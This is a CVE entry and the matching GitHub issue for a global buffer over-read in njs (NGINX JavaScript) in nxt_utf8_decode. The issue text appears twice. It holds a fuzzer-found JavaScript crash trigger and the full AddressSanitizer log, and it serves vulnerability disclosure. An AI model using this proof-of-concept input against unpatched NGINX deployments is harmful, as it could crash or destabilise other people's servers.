njs through 0.3.3, used in NGINX, has a buffer over-read in nxt_utf8_decode in nxt/nxt_utf8.c. This issue occurs after the fix for CVE-2019-12207 is in place.
cpe:2.3:a:f5:njs:*:*:*:*:*:*:*:*
E2A12AFA-F1E5-4E07-B86C-A6CC93CD2081
0.3.3
OR
NJS version:

```
changeset:   1011:2fb43ddbce84
tag:         tip
user:        hongzhidao <hongzhidao@gmail.com>
date:        Mon Jun 10 22:23:56 2019 -0400
summary:     Added property getter/setter support in Object.defineProperty().
```

JS Testcase:
```js
(new InternalError(new Object(), RegExp().source.replace((Object((ReferenceError()+{get: function () {
}}))||Object.isExtensible()), RegExp().source.replace((RegExp()||ignoreCase.startsWith()), function v0() {
}, Number(), Boolean(), Error(), TypeError(), Boolean(), Error(), Object(), 0)))+0)
```

ASAN log:
```
=================================================================
==3788==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5566629c2ab8 at pc 0x55666274915c bp 0x7ffefaee9990 sp 0x7ffefaee9980
READ of size 1 at 0x5566629c2ab8 thread T0
    #0 0x55666274915b in nxt_utf8_decode nxt/nxt_utf8.c:72
    #1 0x556662749796 in nxt_utf8_length nxt/nxt_utf8.c:271
    #2 0x5566625d3857 in njs_string_replace_join njs/njs_string.c:3661
    #3 0x5566625e40ee in njs_string_replace_regexp_join njs/njs_string.c:3280
    #4 0x5566625e40ee in njs_string_replace_regexp njs/njs_string.c:3163
    #5 0x5566625e40ee in njs_string_prototype_replace njs/njs_string.c:3058
    #6 0x55666268dc13 in njs_function_native_call njs/njs_function.c:587
    #7 0x5566625b0592 in njs_vmcode_continuation njs/njs_vm.c:2336
    #8 0x5566625b0cb3 in njs_vmcode_interpreter njs/njs_vm.c:159
    #9 0x5566625ab693 in njs_vm_start njs/njs.c:594
    #10 0x55666258e8a9 in njs_process_script njs/njs_shell.c:772
    #11 0x556662587cc8 in njs_process_file njs/njs_shell.c:621
    #12 0x556662587cc8 in main njs/njs_shell.c:283
    #13 0x7f67abf81b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #14 0x556662589db9 in _start (/home/build/njs/build/njs+0x2bdb9)

0x5566629c2ab8 is located 40 bytes to the left of global variable '__compound_literal.29' defined in 'njs/njs_object.c:2284:18' (0x5566629c2ae0) of size 56
0x5566629c2ab8 is located 0 bytes to the right of global variable '__compound_literal.30' defined in 'njs/njs_object.c:2292:18' (0x5566629c2a80) of size 56
SUMMARY: AddressSanitizer: global-buffer-overflow nxt/nxt_utf8.c:72 in nxt_utf8_decode
Shadow bytes around the buggy address:
  0x0aad4c530500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aad4c530510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aad4c530520: 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
  0x0aad4c530530: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 00 f9 f9
  0x0aad4c530540: f9 f9 f9 f9 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
=>0x0aad4c530550: 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 00 00 00 00
  0x0aad4c530560: 00 00 00 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c530570: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c530580: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c530590: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c5305a0: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3788==ABORTING
```

Found by [fluff](https://github.com/Samsung/Fluff)
global-buffer-overflow in nxt_utf8_decode nxt/nxt_utf8.c:72
This is a GitHub Issue
repo:njs
owner:nginx
Title : global-buffer-overflow in nxt_utf8_decode nxt/nxt_utf8.c:72
Issue date:

--- start body ---
NJS version:

```
changeset:   1011:2fb43ddbce84
tag:         tip
user:        hongzhidao <hongzhidao@gmail.com>
date:        Mon Jun 10 22:23:56 2019 -0400
summary:     Added property getter/setter support in Object.defineProperty().
```

JS Testcase:
```js
(new InternalError(new Object(), RegExp().source.replace((Object((ReferenceError()+{get: function () {
}}))||Object.isExtensible()), RegExp().source.replace((RegExp()||ignoreCase.startsWith()), function v0() {
}, Number(), Boolean(), Error(), TypeError(), Boolean(), Error(), Object(), 0)))+0)
```

ASAN log:
```
=================================================================
==3788==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5566629c2ab8 at pc 0x55666274915c bp 0x7ffefaee9990 sp 0x7ffefaee9980
READ of size 1 at 0x5566629c2ab8 thread T0
    #0 0x55666274915b in nxt_utf8_decode nxt/nxt_utf8.c:72
    #1 0x556662749796 in nxt_utf8_length nxt/nxt_utf8.c:271
    #2 0x5566625d3857 in njs_string_replace_join njs/njs_string.c:3661
    #3 0x5566625e40ee in njs_string_replace_regexp_join njs/njs_string.c:3280
    #4 0x5566625e40ee in njs_string_replace_regexp njs/njs_string.c:3163
    #5 0x5566625e40ee in njs_string_prototype_replace njs/njs_string.c:3058
    #6 0x55666268dc13 in njs_function_native_call njs/njs_function.c:587
    #7 0x5566625b0592 in njs_vmcode_continuation njs/njs_vm.c:2336
    #8 0x5566625b0cb3 in njs_vmcode_interpreter njs/njs_vm.c:159
    #9 0x5566625ab693 in njs_vm_start njs/njs.c:594
    #10 0x55666258e8a9 in njs_process_script njs/njs_shell.c:772
    #11 0x556662587cc8 in njs_process_file njs/njs_shell.c:621
    #12 0x556662587cc8 in main njs/njs_shell.c:283
    #13 0x7f67abf81b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #14 0x556662589db9 in _start (/home/build/njs/build/njs+0x2bdb9)

0x5566629c2ab8 is located 40 bytes to the left of global variable '__compound_literal.29' defined in 'njs/njs_object.c:2284:18' (0x5566629c2ae0) of size 56
0x5566629c2ab8 is located 0 bytes to the right of global variable '__compound_literal.30' defined in 'njs/njs_object.c:2292:18' (0x5566629c2a80) of size 56
SUMMARY: AddressSanitizer: global-buffer-overflow nxt/nxt_utf8.c:72 in nxt_utf8_decode
Shadow bytes around the buggy address:
  0x0aad4c530500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aad4c530510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aad4c530520: 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
  0x0aad4c530530: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 00 f9 f9
  0x0aad4c530540: f9 f9 f9 f9 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
=>0x0aad4c530550: 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 00 00 00 00
  0x0aad4c530560: 00 00 00 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c530570: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c530580: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c530590: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9
  0x0aad4c5305a0: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3788==ABORTING
```

Found by [fluff](https://github.com/Samsung/Fluff)
--- end body ---

comments :
--- start comments ---

--- end comments ---